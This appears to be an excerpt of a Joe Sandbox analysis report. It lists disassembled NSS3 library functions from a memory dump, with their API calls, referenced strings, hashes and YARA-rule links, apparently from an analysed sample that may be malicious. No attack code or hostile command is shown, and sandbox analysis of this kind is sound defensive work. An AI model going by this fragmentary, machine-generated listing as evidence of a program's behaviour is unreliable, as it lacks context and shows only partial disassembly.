PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?,?,6CC13F23), ref: 6CC12CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?), ref: 6CC12CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC0E477,?,?,?,00000001,00000000,?), ref: 6CC12D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC12D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC12D71
PR_Unlock.NSS3(?), ref: 6CC12D7E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 839cd8d0ab3429102fe3fb354ee3d8d3e551d990624926535f2d5d3413ba89c6
Instruction ID: 5b8700b7d129742ea95ac2dc094b11f9814c411acb63443cab1e6b54ab45fd02
Opcode Fuzzy Hash: 839cd8d0ab3429102fe3fb354ee3d8d3e551d990624926535f2d5d3413ba89c6
Instruction Fuzzy Hash: 75513BB6D00104ABEB00AF25DC449AAB778FF1A35CB048524EE1897B11F731ED58C7E1

Function 6CC07C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD52120,Function_00097E60,00000000,?,?,?,?,6CC8067D,6CC81C60,00000000), ref: 6CC07C81

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

TlsGetValue.KERNEL32 ref: 6CC07CA0
EnterCriticalSection.KERNEL32(?), ref: 6CC07CB4
PR_Unlock.NSS3 ref: 6CC07CCF

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

TlsGetValue.KERNEL32 ref: 6CC07D04
EnterCriticalSection.KERNEL32(?), ref: 6CC07D1B
realloc.MOZGLUE(-00000050), ref: 6CC07D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC07DF4
PR_Unlock.NSS3 ref: 6CC07E0E

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: aaa6250a5547be165069711ea1ae24acc6ea229352e6a518e0081de7e8485d53
Instruction ID: e786123022e21a7e5bc6ad71315c11f8018b785a82caac71d59baf2f498f857c
Opcode Fuzzy Hash: aaa6250a5547be165069711ea1ae24acc6ea229352e6a518e0081de7e8485d53
Instruction Fuzzy Hash: 4051F172B052009FEF046F29CC44E6637B9FB5235CF65416ADB0487722FB329958DB91

Function 6CB74C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74D97
PR_Lock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DBA
PR_WaitCondVar.NSS3 ref: 6CB74DD4
PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74DEF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: e71ecbbfd0b3abcf91f9eb2e4d99bbd3ec02bc0594b705e3e91728606602fc79
Instruction ID: 333ca25e6965856774e8ef2c7e657d9bd99918f4e77bf98f5245a4604e1a7e16
Opcode Fuzzy Hash: e71ecbbfd0b3abcf91f9eb2e4d99bbd3ec02bc0594b705e3e91728606602fc79
Instruction Fuzzy Hash: EA41AEB1A04690CFDB10AF78D184159BBB8FF0A319F058669DD989B750EB30D884CFE2

Function 6CC2DC60 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CC397C1,?,00000000,00000000,?,?,?,00000000,?,6CC17F4A,00000000), ref: 6CC2DC68

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC2DFAA

Strings

q.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exeh, xrefs: 6CC2DDAA

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID: q.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exehezcsOTfoiUq.exeh
API String ID: 1886645929-2772891571
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 1e235cbfb03770128e582504161d4349db59f836ef68f2f0e6ed3dfd4a8eddd0
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 6C81D071A066018BFB148E19C89436A72D2EF70748F30843AD91ACAFE5F77CC894C652

Function 6CBFE910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CBFE93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6CBFE94E
PORT_Alloc_Util.NSS3(00000001), ref: 6CBFE995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBFE9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6CBFE9CA
PORT_Strdup_Util.NSS3(6CD3933E), ref: 6CBFEA17
PORT_Alloc_Util.NSS3(00000001), ref: 6CBFEA28

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CBFEA3C
free.MOZGLUE(?), ref: 6CBFEA69

Strings

http://, xrefs: 6CBFE935

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 15046beb2296022fc97f00e9ba84497f195619ae78f2b4d7dc3f072f9c574531
Instruction ID: 36d054838aee42e9fae8ae933754ca9b2c44f783349b58ea97a4ed5370d1749b
Opcode Fuzzy Hash: 15046beb2296022fc97f00e9ba84497f195619ae78f2b4d7dc3f072f9c574531
Instruction Fuzzy Hash: 384178649456C64BEB604AA88C807FE77A5EB4731CF548021D8B49BF41E332965FC2F7

Function 6CD07CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CD07CE0

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD07D36
PR_Realloc.NSS3(?,00000080), ref: 6CD07D6D
PR_GetCurrentThread.NSS3 ref: 6CD07D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CD07DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD07DD8
malloc.MOZGLUE(00000080), ref: 6CD07DF8
PR_GetCurrentThread.NSS3 ref: 6CD07E06

Strings

:%s:%d:0x%lx, xrefs: 6CD07DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CD07DF0

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: c28e9b13201fd7e3c07b4a35dfbe5f87f93f640e9863ccf7efbc535e1a648e4a
Instruction ID: 980ff484cba03b5002aa1ed6c80620a09654e4678c51ec812c554bc272452545
Opcode Fuzzy Hash: c28e9b13201fd7e3c07b4a35dfbe5f87f93f640e9863ccf7efbc535e1a648e4a
Instruction Fuzzy Hash: 994193B1600201EBDB14CF2DDC80A6A37A6BF85318B16456CE8599FB61D731E845C7A5

Function 6CC3ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC3DE64), ref: 6CC3ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3ED22

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

PL_FreeArenaPool.NSS3(?), ref: 6CC3ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC3ED6B
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC3ED38

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC3ED52
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC3ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC3ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC3ED9D

Part of subcall function 6CC564F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC5127C,00000000,00000000,00000000), ref: 6CC5650E

Strings

security, xrefs: 6CC3ED06

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 16a04241566fa087b7ccb7dd9daa81460ef7b9dfdeb16ef9f3057bbfed7f6563
Instruction ID: 22297b65cf7ab84248f40a6a1c9b718f045a6d8ca28d3b7f849204d05f966518
Opcode Fuzzy Hash: 16a04241566fa087b7ccb7dd9daa81460ef7b9dfdeb16ef9f3057bbfed7f6563
Instruction Fuzzy Hash: BC116D759002246BFB119B35BC84BBBB278AF0170DF800568E81862F51F724A93DC7EB

Function 6CC22CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CC22CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC22D07

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC22D22

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC22D3B

Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00BAB
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00BBA
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CC22D54

Part of subcall function 6CD009D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD00BCB
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00BDE
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00C16

Strings

pPin = 0x%p, xrefs: 6CC22D1D
C_InitToken, xrefs: 6CC22CE7
slotID = 0x%x, xrefs: 6CC22D02
pLabel = 0x%p, xrefs: 6CC22D4F
ulPinLen = %d, xrefs: 6CC22D36

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 1ee94ba9ce8fbd8e983871a58fcfcda55034ba912a8667d4dce0c0d32b02500a
Instruction ID: 9ae61601260b1fd3f28e5fff1d23cfcf98f9140e70eec8370faad1c2f78062bd
Opcode Fuzzy Hash: 1ee94ba9ce8fbd8e983871a58fcfcda55034ba912a8667d4dce0c0d32b02500a
Instruction Fuzzy Hash: 2621D675600140BFFB00AF58EC5CE4A3BB9EB4236DF884452E60497A32EB34981CCBA1

Function 6CC22AF0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismList), ref: 6CC22B0C
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CC22B59

Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00BAB
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00BBA
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E

PR_LogPrint.NSS3( pMechanismList = 0x%p,?), ref: 6CC22B3E

Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00B88
Part of subcall function 6CD009D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD00C5D
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD00C8D
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC22B25

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CC22BC0

Strings

slotID = 0x%x, xrefs: 6CC22B20
pMechanismList = 0x%p, xrefs: 6CC22B39
C_GetMechanismList, xrefs: 6CC22B07
